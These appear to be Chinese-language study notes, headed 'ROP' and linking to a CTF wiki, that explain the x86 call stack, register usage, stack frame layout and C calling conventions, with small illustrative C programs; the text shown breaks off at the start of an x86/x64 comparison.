ROP

[TOC]

ROP

学习路线网址:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/

C语言函数调用栈的相关知识

程序的栈是从进程地址空间的高地址向低地址增长的

程序的执行过程可看作连续的函数调用。当一个函数执行完毕时,程序要回到调用指令的下一条指令(紧接call指令)处继续执行。函数调用过程通常使用堆栈实现,每个用户态进程对应一个调用栈结构(call stack)。编译器使用堆栈传递函数参数保存返回地址临时保存寄存器原有值(即函数调用的上下文)以备恢复以及存储本地局部变量

不同处理器和编译器的堆栈布局、函数调用方法都可能不同,但堆栈的基本概念是一样的。

1.寄存器分配

寄存器是处理器加工数据或运行程序的重要载体,用于存放程序执行中用到的数据和指令。因此函数调用栈的实现与处理器寄存器组密切相关。

Intel 32位体系结构(简称IA32)处理器包含8个四字节寄存器,如下图所示:

image-20250209105229676

最初的8086中寄存器是16位,每个都有特殊用途,寄存器名城反映其不同用途。由于IA32平台采用平面寻址模式,对特殊寄存器的需求大大降低,但由于历史原因,这些寄存器名称被保留下来。在大多数情况下,上图所示的前6个寄存器均可作为通用寄存器使用。某些指令可能以固定的寄存器作为源寄存器或目的寄存器,如一些特殊的算术操作指令 imull/mull/cltd/idivl/divl 要求一个参数必须在 %eax中,其运算结果存放在 %edx(higher 32-bit)和 %eax (lower32-bit)中;又如函数返回值通常保存在%eax中,等等。为避免兼容性问题,ABI规范对这组通用寄存器的具体作用加以定义(如图中所示)。

对于寄存器%eax、%ebx、%ecx和%edx,各自可作为两个独立的16位寄存器使用,而低16位寄存器还可继续分为两个独立的8位寄存器使用。编译器会根据操作数大小选择合适的寄存器来生成汇编代码。在汇编语言层面,这组通用寄存器以%e(AT&T语法)或直接以e(Intel语法)开头来引用,例如mov $5, %eax或mov eax, 5表示将立即数5赋值给寄存器%eax。

在x86处理器中,EIP(Instruction Pointer)是指令寄存器,指向处理器下条等待执行的指令地址(代码段内的偏移量),每次执行完相应汇编指令EIP值就会增加。ESP(Stack Pointer)是堆栈指针寄存器,存放执行函数对应栈帧的栈顶地址(也是系统栈的顶部),且始终指向栈顶;EBP(Base Pointer)是栈帧基址指针寄存器,存放执行函数对应栈帧的栈底地址,用于C运行库访问栈中的局部变量和参数。

注意,EIP是个特殊寄存器,不能像访问通用寄存器那样访问它,即找不到可用来寻址EIP并对其进行读写的操作码(OpCode)。EIP可被jmp、call和ret等指令隐含地改变(事实上它一直都在改变)。

不同架构的CPU,寄存器名称被添加不同前缀以指示寄存器的大小。例如x86架构用字母“e(extended)”作名称前缀,指示寄存器大小为32位;x86_64架构用字母“r”作名称前缀,指示各寄存器大小为64位

编译器在将C程序编译成汇编程序时,应遵循ABI所规定的寄存器功能定义。同样地,编写汇编程序时也应遵循,否则所编写的汇编程序可能无法与C程序协同工作。

栈帧指针寄存器

为了访问函数局部变量,必须能定位每个变量。局部变量相对于堆栈指针ESP的位置在进入函数时就已确定,理论上变量可用ESP加偏移量来引用,但ESP会在函数执行期随变量的压栈和出栈而变动。尽管某些情况下编译器能跟踪栈中的变量操作以修正偏移量,但要引入可观的管理开销。而且在有些机器上(如Intel处理器),用ESP加偏移量来访问一个变量需要多条指令才能实现。

因此,许多编译器使用帧指针寄存器FP(Frame Pointer)记录栈帧基地址。局部变量和函数参数都可通过帧指针引用,因为它们到FP的距离不会受到压栈和出栈操作的影响。有些资料将帧指针称作局部基指针(LB-local base pointer)。

在Intel CPU中,寄存器BP(EBP)用作帧指针。在Motorola CPU中,除A7(堆栈指针SP)外的任何地址寄存器都可用作FP。当堆栈向下(低地址)增长时,以FP地址为基准,函数参数的偏移量是正值,而局部变量的偏移量是负值

2.寄存器使用约定

程序寄存器组是唯一能被所有函数共享的资源。虽然某一时刻只有一个函数在执行,但需保证当某个函数调用其他函数时,被调函数不会修改或覆盖主调函数稍后会使用到的寄存器值。因此,IA32采用一套统一的寄存器使用约定,所有函数(包括库函数)调用都必须遵守该约定。

根据惯例,寄存器%eax、%edx和%ecx为主调函数保存寄存器(caller-saved registers),当函数调用时,若主调函数希望保持这些寄存器的值,则必须在调用前显式地将其保存在栈中;被调函数可以覆盖这些寄存器,而不会破坏主调函数所需的数据。寄存器%ebx、%esi和%edi为被调函数保存寄存器(callee-saved registers),即被调函数在覆盖这些寄存器的值时,必须先将寄存器原值压入栈中保存起来,并在函数返回前从栈中恢复其原值,因为主调函数可能也在使用这些寄存器。此外,被调函数必须保持寄存器%ebp和%esp,并在函数返回后将其恢复到调用前的值,亦即必须恢复主调函数的栈帧。

当然,这些工作都由编译器在幕后进行。不过在编写汇编程序时应注意遵守上述惯例。

3 栈帧结构

函数调用经常是嵌套的,在同一时刻,堆栈中会有多个函数的信息。每个未完成运行的函数占用一个独立的连续区域,称作栈帧(Stack Frame)。栈帧是堆栈的逻辑片段,当调用函数时逻辑栈帧被压入堆栈, 当函数返回时逻辑栈帧被从堆栈中弹出。栈帧存放着函数参数,局部变量及恢复前一栈帧所需要的数据等。

编译器利用栈帧,使得函数参数和函数中局部变量的分配与释放对程序员透明。编译器将控制权移交函数本身之前,插入特定代码将函数参数压入栈帧中,并分配足够的内存空间用于存放函数中的局部变量。使用栈帧的一个好处是使得递归变为可能,因为对函数的每次递归调用,都会分配给该函数一个新的栈帧,这样就巧妙地隔离当前调用与上次调用。

栈帧的边界由栈帧基地址指针EBP和堆栈指针ESP界定(指针存放在相应寄存器中)。EBP指向当前栈帧底部(高地址),在当前栈帧内位置固定;ESP指向当前栈帧顶部(低地址),当程序执行时ESP会随着数据的入栈和出栈而移动。因此函数中对大部分数据的访问都基于EBP进行。

为更具描述性,以下称EBP为帧基指针, ESP为栈顶指针,并在引用汇编代码时分别记为%ebp和%esp。

函数调用栈的典型内存布局如下图所示:

image-20250209110534527

我一般这样理解栈帧:

Argument_3
Argument_2
Argument_1
ret_addr
ebp—->old_ebp
local_value_1
local_value_2
local_value_3
esp—->local_value_4

暂时没什么因为这个发生的错误

图中给出主调函数(caller)和被调函数(callee)的栈帧布局,”m(%ebp)”表示以EBP为基地址、偏移量为m字节的内存空间(中的内容)。

该图基于两个假设:

第一,函数返回值不是结构体或联合体,否则第一个参数将位于”12(%ebp)” 处;

第二,每个参数都是4字节大小(栈的粒度为4字节)。在本文后续章节将就参数的传递和大小问题做进一步的探讨。

此外,函数可以没有参数和局部变量,故图中“Argument(参数)”和“Local Variable(局部变量)”不是函数栈帧结构的必需部分。

从图中可以看出,函数调用时入栈顺序为

image-20250209112848213

其中,主调函数将参数按照调用约定依次入栈(图中为从右到左),然后将指令指针EIP入栈以保存主调函数的返回地址(下一条待执行指令的地址)。进入被调函数时,被调函数将主调函数的帧基指针EBP入栈,并将主调函数的栈顶指针ESP值赋给被调函数的EBP(作为被调函数的栈底),接着改变ESP值来为函数局部变量预留空间。此时被调函数帧基指针指向被调函数的栈底。以该地址为基准,向上(栈底方向)可获取主调函数的返回地址、参数值,向下(栈顶方向)能获取被调函数的局部变量值,而该地址处又存放着上一层主调函数的帧基指针值。本级调用结束后,将EBP指针值赋给ESP,使ESP再次指向被调函数栈底以释放局部变量;再将已压栈的主调函数帧基指针弹出到EBP,并弹出返回地址到EIP。ESP继续上移越过参数,最终回到函数调用前的状态,即恢复原来主调函数的栈帧。如此递归便形成函数调用栈。

EBP指针在当前函数运行过程中(未调用其他函数时)保持不变。在函数调用前,ESP指针指向栈顶地址,也是栈底地址。在函数完成现场保护之类的初始化工作后,ESP会始终指向当前函数栈帧的栈顶,此时,若当前函数又调用另一个函数,则会将此时的EBP视为旧EBP压栈,而与新调用函数有关的内容会从当前ESP所指向位置开始压栈。

若需在函数中保存被调函数保存寄存器(如ESI、EDI),则编译器在保存EBP值时进行保存,或延迟保存直到局部变量空间被分配。在栈帧中并未为被调函数保存寄存器的空间指定标准的存储位置。包含寄存器和临时变量的函数调用栈布局可能如下图所示:

image-20250209113332971

在多线程(任务)环境,栈顶指针指向的存储器区域就是当前使用的堆栈。切换线程的一个重要工作,就是将栈顶指针设为当前线程的堆栈栈顶地址。

以下代码用于函数栈布局示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
1 //StackFrame.c
2 #include <stdio.h>
3 #include <string.h>
4
5 struct Strt{
6 int member1;
7 int member2;
8 int member3;
9 };
10
11 #define PRINT_ADDR(x) printf("&"#x" = %p\n", &x)
12 int StackFrameContent(int para1, int para2, int para3){
13 int locVar1 = 1;
14 int locVar2 = 2;
15 int locVar3 = 3;
16 int arr[] = {0x11,0x22,0x33};
17 struct Strt tStrt = {0};
18 PRINT_ADDR(para1); //若para1为char或short型,则打印para1所对应的栈上整型临时变量地址!
19 PRINT_ADDR(para2);
20 PRINT_ADDR(para3);
21 PRINT_ADDR(locVar1);
22 PRINT_ADDR(locVar2);
23 PRINT_ADDR(locVar3);
24 PRINT_ADDR(arr);
25 PRINT_ADDR(arr[0]);
26 PRINT_ADDR(arr[1]);
27 PRINT_ADDR(arr[2]);
28 PRINT_ADDR(tStrt);
29 PRINT_ADDR(tStrt.member1);
30 PRINT_ADDR(tStrt.member2);
31 PRINT_ADDR(tStrt.member3);
32 return 0;
33 }
34
35 int main(void){
36 int locMain1 = 1, locMain2 = 2, locMain3 = 3;
37 PRINT_ADDR(locMain1);
38 PRINT_ADDR(locMain2);
39 PRINT_ADDR(locMain3);
40 StackFrameContent(locMain1, locMain2, locMain3);
41 printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
42 memset(&locMain2, 0, 2*sizeof(int));
43 printf("[locMain1,2,3] = [%d, %d, %d]\n", locMain1, locMain2, locMain3);
44 return 0;
45 }
StackFrame

编译

1
gcc -o Frame StackFrame.c

打印结果:

image-20250209114235950

栈帧布局图:

image-20250209114613247

内存地址从栈底到栈顶递减,压栈就是把ESP指针逐渐往地低址移动的过程。而结构体tStrt中的成员变量memberX地址= tStrt首地址 + (memberX偏移量),即越靠近tStrt首地址的成员变量其内存地址越小。因此,结构体成员变量的入栈顺序与其在结构体中声明的顺序相反

函数调用以值传递时,传入的实参(locMain13)与被调函数内操作的形参(para13)两者存储地址不同,因此被调函数无法直接修改主调函数实参值(对形参的操作相当于修改实参的副本)。为达到修改目的,需要向被调函数传递实参变量的指针(即变量的地址)。

此外,”[locMain1,2,3] = [0, 0, 3]”是因为对四字节参数locMain2调用memset函数时,会从低地址向高地址连续清零8个字节,从而误将位于高地址locMain1清零。

注意,局部变量的布局依赖于编译器实现等因素。因此,当StackFrameContent函数中删除打印语句时,变量locVar3、locVar2和locVar1可能按照从高到低的顺序依次存储!而且,局部变量并不总在栈中,有时出于性能(速度)考虑会存放在寄存器中。数组/结构体型的局部变量通常分配在栈内存中。

函数局部变量布局方式

与函数调用约定规定参数如何传入不同,局部变量以何种方式布局并未规定。编译器计算函数局部变量所需要的空间总数,并确定这些变量存储在寄存器上还是分配在程序栈上(甚至被优化掉)——某些处理器并没有堆栈。局部变量的空间分配与主调函数和被调函数无关,仅仅从函数源代码上无法确定该函数的局部变量分布情况。

基于不同的编译器版本(gcc3.4中局部变量按照定义顺序依次入栈,gcc4及以上版本则不定)、优化级别、目标处理器架构、栈安全性等,相邻定义的两个变量在内存位置上可能相邻,也可能不相邻,前后关系也不固定。若要确保两个对象在内存上相邻且前后关系固定,可使用结构体或数组定义。

4 堆栈操作

函数调用时的具体步骤如下:

  1. 主调函数将被调函数所要求的参数,根据相应的函数调用约定,保存在运行时栈中。该操作会改变程序的栈指针。

    注:x86平台将参数压入调用栈中。而x86_64平台具有16个通用64位寄存器,故调用函数时前6个参数通常由寄存器传递,其余参数才通过栈传递。

  2. 主调函数将控制权移交给被调函数(使用call指令)。函数的返回地址(待执行的下条指令地址)保存在程序栈中(压栈操作隐含在call指令中)。

  3. 若有必要,被调函数会设置帧基指针,并保存被调函数希望保持不变的寄存器值。

  4. 被调函数通过修改栈顶指针的值,为自己的局部变量在运行时栈中分配内存空间,并从帧基指针的位置处向低地址方向存放被调函数的局部变量和临时变量。

  5. 被调函数执行自己任务,此时可能需要访问由主调函数传入的参数。若被调函数返回一个值,该值通常保存在一个指定寄存器中(如EAX)

  6. 一旦被调函数完成操作,为该函数局部变量分配的栈空间将被释放。这通常是步骤4的逆向执行。

  7. 恢复步骤3中保存的寄存器值,包含主调函数的帧基指针寄存器。

  8. 被调函数将控制权交还主调函数(使用ret指令)。根据使用的函数调用约定,该操作也可能从程序栈上清除先前传入的参数。

  9. 主调函数再次获得控制权后,可能需要将先前的参数从栈上清除。在这种情况下,对栈的修改需要将帧基指针值恢复到步骤1之前的值。

    步骤3与步骤4在函数调用之初常一同出现,统称为函数序(prologue);步骤6到步骤8在函数调用的最后常一同出现,统称为函数跋(epilogue)。函数序和函数跋是编译器自动添加的开始和结束汇编代码,其实现与CPU架构和编译器相关。除步骤5代表函数实体外,其它所有操作组成函数调用。

以下介绍函数调用过程中的主要指令。

压栈(push):栈顶指针ESP减小4个字节;以字节为单位将寄存器数据(四字节,不足补零)压入堆栈,从高到低按字节依次将数据存入ESP-1、ESP-2、ESP-3、ESP-4指向的地址单元。

出栈(pop):栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节

image-20250209120547275

可见,压栈操作将寄存器内容存入栈内存中(寄存器原内容不变),栈顶地址减小;出栈操作从栈内存中取回寄存器内容(栈内已存数据不会自动清零),栈顶地址增大。栈顶指针ESP总是指向栈中下一个可用数据。

调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。

离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。

返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

基于以上指令,使用C调用约定的被调函数典型的函数序和函数跋实现如下:

image-20250209201350011

若主调函数和调函数均未使用局部变量寄存器EDI、ESI和EBX,则编译器无须在函数序中对其压栈,以便提高程序的执行效率。

参数压栈指令因编译器而异,如下两种压栈方式基本等效:

image-20250209120723096

两种压栈方式均遵循C调用约定,但方式二中主调函数在调用返回后并未显式清理堆栈空间。因为在被调函数序阶段,编译器在栈顶为函数参数预先分配内存空间(sub指令)。函数参数被复制到栈中(而非压入栈中),并未修改栈顶指针,故调用返回时主调函数也无需修改栈顶指针。gcc3.4(或更高版本)编译器采用该技术将函数参数传递至栈上,相比栈顶指针随每次参数压栈而多次下移,一次性设置好栈顶指针更为高效。设想连续调用多个函数时,方式二仅需预先分配一次参数内存(大小足够容纳参数尺寸和最大的函数即可),后续调用无需每次都恢复栈顶指针。注意,函数被调用时,两种方式均使栈顶指针指向函数最左边的参数。本文不再区分两种压栈方式,”压栈”或”入栈”所提之处均按相应汇编代码理解,若无汇编则指方式二。

某些情况下,编译器生成的函数调用进入/退出指令序列并不按照以上方式进行。例如,若C函数声明为static(只在本编译单元内可见)且函数在编译单元内被直接调用,未被显示或隐式取地址(即没有任何函数指针指向该函数),此时编译器确信该函数不会被其它编译单元调用,因此可随意修改其进/出指令序列以达到优化目的。

尽管使用的寄存器名字和指令在不同处理器架构上有所不同,但创建栈帧的基本过程一致。

注意,栈帧是运行时概念,若程序不运行,就不存在栈和栈帧。但通过分析目标文件中建立函数栈帧的汇编代码(尤其是函数序和函数跋过程),即使函数没有运行,也能了解函数的栈帧结构。通过分析可确定分配在函数栈帧上的局部变量空间准确值,函数中是否使用帧基指针,以及识别函数栈帧中对变量的所有内存引用。

5.函数调用约定

创建一个栈帧的最重要步骤是主调函数如何向栈中传递函数参数。主调函数必须精确存储这些参数,以便被调函数能够访问到它们。函数通过选择特定的调用约定,来表明其希望以特定方式接收参数。此外,当被调函数完成任务后,调用约定规定先前入栈的参数由主调函数还是被调函数负责清除,以保证程序的栈顶指针完整性。

函数调用约定通常规定如下几方面内容:

  1. 函数参数的传递顺序和方式

    最常见的参数传递方式是通过堆栈传递。主调函数将参数压入栈中,被调函数以相对于帧基指针的正偏移量来访问栈中的参数。对于有多个参数的函数,调用约定需规定主调函数将参数压栈的顺序(从左至右还是从右至左)。某些调用约定允许使用寄存器传参以提高性能。

  2. 栈的维护方式

    主调函数将参数压栈后调用被调函数体,返回时需将被压栈的参数全部弹出,以便将栈恢复到调用前的状态。该清栈过程可由主调函数负责完成,也可由被调函数负责完成。

  3. 名字修饰(Name-mangling)策略

    又称函数名修饰(Decorated Name)规则。编译器在链接时为区分不同函数,对函数名作不同修饰。

若函数之间的调用约定不匹配,可能会产生堆栈异常或链接错误等问题。因此,为了保证程序能正确执行,所有的函数调用均应遵守一致的调用约定。

5.1常见函数调用约定

下面分别介绍常见的几种函数调用约定。

1. cdecl调用约定

又称C调用约定,是C/C++编译器默认的函数调用约定。所有非C++成员函数和未使用 stdcall 或 fastcall 声明的函数都默认是cdecl方式。函数参数按照从右到左的顺序入栈函数调用者负责清除栈中的参数返回值在EAX中。由于每次函数调用都要产生清除(还原)堆栈的代码,故使用cdecl方式编译的程序比使用stdcall方式编译的程序大(后者仅需在被调函数内产生一份清栈代码)。但cdecl调用方式支持可变参数函数(即函数带有可变数目的参数,如printf),且调用时即使实参和形参数目不符也不会导致堆栈错误

对于C函数,cdecl方式的名字修饰约定是在函数名前添加一个下划线;对于C++函数,除非特别使用extern “C”,C++函数使用不同的名字修饰方式。

1
2
3
4
5
【扩展阅读】可变参数函数支持条件
若要支持可变参数的函数,则参数应自右向左进栈,并且由主调函数负责清除栈中的参数(参数出栈)。
首先,参数按照从右向左的顺序压栈,则参数列表最左边(第一个)的参数最接近栈顶位置。所有参数距离帧基指针的偏移量都是常数,而不必关心已入栈的参数数目。只要不定的参数的数目能根据第一个已明确的参数确定,就可使用不定参数。例如printf函数,第一个参数即格式化字符串可作为后继参数指示符。通过它们就可得到后续参数的类型和个数,进而知道所有参数的尺寸。当传递的参数过多时,以帧基指针为基准,获取适当数目的参数,其他忽略即可。若函数参数自左向右进栈,则第一个参数距离栈帧指针的偏移量与已入栈的参数数目有关,需要计算所有参数占用的空间后才能精确定位。当实际传入的参数数目与函数期望接受的参数数目不同时,偏移量计算会出错!
其次,调用函数将参数压栈,只有它才知道栈中的参数数目和尺寸,因此调用函数可安全地清栈。而被调函数永远也不能事先知道将要传入函数的参数信息,难以对栈顶指针进行调整。
C++为兼容C,仍然支持函数带有可变的参数。但在C++中更好的选择常常是函数多态。

2. stdcall调用约定(微软命名)

Pascal程序缺省调用方式,WinAPI也多采用该调用约定。stdcall调用约定主调函数参数从右向左入栈,除指针或引用类型参数外所有参数采用传值方式传递,由被调函数负责清除栈中的参数,返回值在EAX中。stdcall调用约定仅适用于参数个数固定的函数,因为被调函数清栈时无法精确获知栈上有多少函数参数;而且如果调用时实参和形参数目不符会导致堆栈错误。对于C函数,stdcall名称修饰方式是在函数名字前添加下划线,在函数名字后添加@和函数参数的大小,如_functionname@number。

3. fastcall调用约定

stdcall调用约定的变形,通常使用ECX和EDX寄存器传递前两个DWORD(四字节双字)类型或更少字节的函数参数,其余参数按照从右向左的顺序入栈,被调函数在返回前负责清除栈中的参数,返回值在 EAX 中。因为并不是所有的参数都有压栈操作,所以比stdcall和cdecl快些。编译器使用两个@修饰函数名字,后跟十进制数表示的函数参数列表大小(字节数),如@function_name@number。需注意fastcall函数调用约定在不同编译器上可能有不同的实现,比如16位编译器和32位编译器。另外,在使用内嵌汇编代码时,还应注意不能和编译器使用的寄存器有冲突。

4. thiscall调用约定

C++类中的非静态函数必须接收一个指向主调对象的类指针(this指针),并可能较频繁的使用该指针。主调函数的对象地址必须由调用者提供,并在调用对象非静态成员函数时将对象指针以参数形式传递给被调函数。编译器默认使用thiscall调用约定以高效传递和存储C++类的非静态成员函数的this指针参数。

thiscall调用约定函数参数按照从右向左的顺序入栈。若参数数目固定,则类实例的this指针通过ECX寄存器传递给被调函数,被调函数自身清理堆栈;若参数数目不定,则this指针在所有参数入栈后再入栈,主调函数清理堆栈。thiscall不是C++关键字,故不能使用thiscall声明函数,它只能由编译器使用。

注意,该调用约定特点随编译器不同而不同,g++中thiscall与cdecl基本相同,只是隐式地将this指针当作非静态成员函数的第1个参数,主调函数在调用返回后负责清理栈上参数;而在VC中,this指针存放在%ecx寄存器中,参数从右至左压栈,非静态成员函数负责清理栈上参数。

5. naked call调用约定

对于使用naked call方式声明的函数,编译器不产生保存(prologue)和恢复(epilogue)寄存器的代码,且不能用return返回返回值(只能用内嵌汇编返回结果),故称naked call。该调用约定用于一些特殊场合,如声明处于非C/C++上下文中的函数,并由程序员自行编写初始化和清栈的内嵌汇编指令。注意,naked call并非类型修饰符,故该调用约定必须与__declspec同时使用,如VC下定义求和函数:

代码示例如下(Windows采用Intel汇编语法,注释符为;):

1
2
3
4
5
6
1 __declspec(naked) int __stdcall function(int a, int b) {
2 ;mov DestRegister, SrcImmediate(Intel) vs. movl $SrcImmediate, %DestRegister(AT&T)
3 __asm mov eax, a
4 __asm add eax, b
5 __asm ret 8
6 }

注意,__declspec是微软关键字,其他系统上可能没有。

6. pascal调用约定

Pascal语言调用约定,参数按照从左至右的顺序入栈。Pascal语言只支持固定参数的函数,参数的类型和数量完全可知,故由被调函数自身清理堆栈。pascal调用约定输出的函数名称无任何修饰且全部大写。

Win3.X(16位)时支持真正的pascal调用约定;而Win9.X(32位)以后pascal约定由stdcall约定代替(以C约定压栈以Pascal约定清栈)。

上述调用约定的主要特点如下表所示:

image-20250209211620931

Windows下可直接在函数声明前添加关键字__stdcall、__cdecl或__fastcall等标识确定函数的调用方式,如int __stdcall func()。Linux下可借用函数attribute 机制,如int attribute((stdcall)) func()。

代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
1 int __attribute__((__cdecl__)) CalleeFunc(int i, int j, int k){
2 // int __attribute__((__stdcall__)) CalleeFunc(int i, int j, int k){
3 //int __attribute__((__fastcall__)) CalleeFunc(int i, int j, int k){
4 return i+j+k;
5 }
6 void CallerFunc(void){
7 CalleeFunc(0x11, 0x22, 0x33);
8 }
9 int main(void){
10 CallerFunc();
11 return 0;
12 }

被调函数CalleeFunc分别声明为cdecl、stdcall和fastcall约定时,其汇编代码比较如下表所示:

image-20250209211754260

5.2调用约定的影响

当函数导出被其他程序员所使用(如库函数)时,该函数应遵循主要的调用约定,以便于程序员使用。若函数仅供内部使用,则其调用约定可只被使用该函数的程序所了解。

在多语言混合编程(包括A语言中使用B语言开发的第三方库)时,若函数的原型声明和函数体定义不一致或调用函数时声明了不同的函数约定,将可能导致严重问题(如堆栈被破坏)。

以Delphi调用C函数为例。Delphi函数缺省采用stdcall调用约定,而C函数缺省采用cdecl调用约定。一般将C函数声明为stdcall约定,如:int __stdcall add(int a, int b);

在Delphi中调用该函数时也应声明为stdcall约定:

1
2
1 function add(a: Integer; b: Integer): Integer; stdcall; //参数类型应与DLL中的函数或过程参数类型一致,且引用时使用stdcall参数
2 external 'a.dll'; //指定被调DLL文件的路径和名称

不同编译器产生栈帧的方式不尽相同,主调函数不一定能正常完成清栈工作;而被调函数必然能自己完成正常清栈,因此,在跨(开发)平台调用中,通常使用stdcall调用约定(不少WinApi均采用该约定)。

此外,主调函数和被调函数所在模块采用相同的调用约定,但分别使用C++和C语法编译时,会出现链接错误(报告被调函数未定义)。这是因为两种语言的函数名字修饰规则不同,解决方式是使用extern “C”告知主调函数所在模块:被调函数是C语言编译的。采用C语言编译的库应考虑到使用该库的程序可能是C++程序(使用C++编译器),通常应这样声明头文件:

1
2
3
4
5
6
7
#ifdef _cplusplus
extern "C" {
#endif
type Func(type para);
#ifdef _cplusplus
}
#endif

这样C++编译器就会按照C语言修饰策略链接Func函数名,而不会出现找不到函数的链接错误。

5.3 x86函数参数传递方法

x86处理器ABI规范中规定,所有传递给被调函数的参数都通过堆栈来完成,其压栈顺序是以函数参数从右到左的顺序。当向被调函数传递参数时,所有参数最后形成一个数组。由于采用从右到左的压栈顺序,数组中参数的顺序(下标0N-1)与函数参数声明顺序(Para1N)一致。因此,在函数中若知道第一个参数地址和各参数占用字节数,就可通过访问数组的方式去访问每个参数。

5.3.1 整型和指针参数的传递

整型参数与指针参数的传递方式相同,因为在32位x86处理器上整型与指针大小相同(均为四字节)。下表给出这两种类型的参数在栈帧中的位置关系。注意,该表基于tail函数的栈帧。

image-20250209212130456

5.3.2 浮点数参数的传递

浮点参数的传递与整型类似,区别在于参数大小。x86处理器中浮点类型占8个字节,因此在栈中也需要占用8个字节。下表给出浮点参数在栈帧中的位置关系。图中,调用tail函数的第一个和第三个参数均为浮点类型,因此需各占用8个字节,三个参数共占用20个字节。表中word类型的大小是4字节。

5.3.3 结构体和联合体的参数的传递

结构体和联合体参数的传递与整型、浮点参数类似,只是其占用字节大小视数据结构的定义不同而异。x86处理器上栈宽是4字节,故结构体在栈上所占用的字节数为4的倍数。编译器会对结构体进行适当的填充以使得结构体大小满足4字节对齐的要求。

对于一些RISC处理器(如PowerPC),其参数传递并不是全部通过栈来实现。PowerPC处理器寄存器中,R3~R10共8个寄存器用于传递整型或指针参数,F1~F8共8个寄存器用于传递浮点参数。当所需传递的参数少于8个时,不需要用到栈。结构体和long double参数的传递通过指针来完成,这与x86处理器完全不同。PowerPC的ABI规范中规定,结构体的传递采用指针方式,而不是像x86处理器那样将结构从一个函数栈帧中拷贝到另一个函数栈帧中,显然x86处理器的方式更低效。可见,PowerPC程序中,函数参数采用指向结构体的指针(而非结构体)并不能提高效率,不过通常这是良好的编程习惯。

5.4 x86函数返回值的传递方法

函数返回值可通过寄存器传递。当被调用函数需要返回结果给调用函数时**:**

  1. 若返回值不超过4字节(如int、short、char、指针等类型),通常将其保存在EAX寄存器中,调用方通过读取EAX获取返回值。

  2. 若返回值大于4字节而小于8字节(如long long或_int64类型),则通过EAX+EDX寄存器联合返回,其中EDX保存返回值高4字节,EAX保存返回值低4字节。

  3. 若返回值为浮点类型(如float和double),则通过专用的协处理器浮点数寄存器栈的栈顶返回。

  4. 若返回值为结构体或联合体,则主调函数向被调函数传递一个额外参数,该参数指向将要保存返回值的地址。即函数调用foo(p1, p2)被转化为foo(&p0, p1, p2),以引用型参数形式传回返回值。具体步骤可能为:a.主调函数将显式的实参逆序入栈;b.将接收返回值的结构体变量地址作为隐藏参数入栈(若未定义该接收变量,则在栈上额外开辟空间作为接收返回值的临时变量);c. 被调函数将待返回数据拷贝到隐藏参数所指向的内存地址,并将该地址存入%eax寄存器。因此,在被调函数中完成返回值的赋值工作。

    注意,函数如何传递结构体或联合体返回值依赖于具体实现。不同编译器、平台、调用约定甚至编译参数下可能采用不同的实现方法。如VC6编译器对于不超过8字节的小结构体,会通过EAX+EDX寄存器返回。而对于超过8字节的大结构体,主调函数在栈上分配用于接收返回值的临时结构体,并将地址通过栈传递给被调函数;被调函数根据返回值地址设置返回值(拷贝操作);调用返回后主调函数根据需要,再将返回值赋值给需要的临时变量(二次拷贝)。实际使用中为提高效率,通常将结构体指针作为实参传递给被调函数以接收返回值。

  5. 不要返回指向栈内存的指针,如返回被调函数内局部变量地址(包括局部数组名)。因为函数返回后,其栈帧空间被“释放”,原栈帧内分配的局部变量空间的内容是不稳定和不被保证的。

    函数返回值通过寄存器传递,无需空间分配等操作,故返回值的代价很低。基于此原因,C89规范中约定,不写明返回值类型的函数,返回值类型默认为int。但这会带来类型安全隐患,如函数定义时返回值为浮点数,而函数未声明或声明时未指明返回值类型,则调用时默认从寄存器EAX(而不是浮点数寄存器)中获取返回值,导致错误!因此在C++中,不写明返回值类型的函数返回值类型为void,表示不返回值。

1
2
3
4
5
6
7
8
9
10
11
12
13
【扩展阅读】GCC返回结构体和联合体

通常GCC被配置为使用与目标系统一致的函数调用约定。这通过机器描述宏来实现。但是,在一些目标机上采用不同方式返回结构体和联合体的值。因此,使用PCC编译的返回这些类型的函数不能被使用GCC编译的代码调用,反之亦然。但这并未造成麻烦,因为很少有Unix库函数返回结构体或联合体。

GCC代码使用存放int或double类型返回值的寄存器来返回1、2、4或8个字节的结构体和联合体(GCC通常还将此类变量分配在寄存器中)。其它大小的结构体和联合体在返回时,将其存放在一个由调用者传递的地址中(通常在寄存器中)。

相比之下,PCC在大多目标机上返回任何大小的结构体和联合体时,都将数据复制到一个静态存储区域,再将该地址当作指针值返回。调用者必须将数据从那个内存区域复制到需要的地方。这比GCC使用的方法要慢,而且不可重入。

在一些目标机上(如RISC机器和80386),标准的系统约定是将返回值的地址传给子程序。在这些机器上,当使用这种约定方法时,GCC被配置为与标准编译器兼容。这可能会对于1,2,4或8字节的结构体不兼容。

GCC使用系统的标准约定来传递参数。在一些机器上,前几个参数通过寄存器传递;在另一些机器上,所有的参数都通过栈传递。原本可在所有机器上都使用寄存器来传递参数,而且此法还可能显著提高性能。但这样就与使用标准约定的代码完全不兼容。所以这种改变只在将GCC作为系统唯一的C编译器时才实用。当拥有一套完整的GNU 系统,能够用GCC来编译库时,可在特定机器上实现寄存器参数传递。

在一些机器上(特别是SPARC),一些类型的参数通过“隐匿引用”(invisible reference)来传递。这意味着值存储在内存中,将值的内存地址传给子程序。

另外给出个寄存器的图解帮助理解:

image-20250209212842623

需要注意的是,32 位和 64 位程序有以下简单的区别

  • x86
    • 函数参数函数返回地址的上方
  • x64
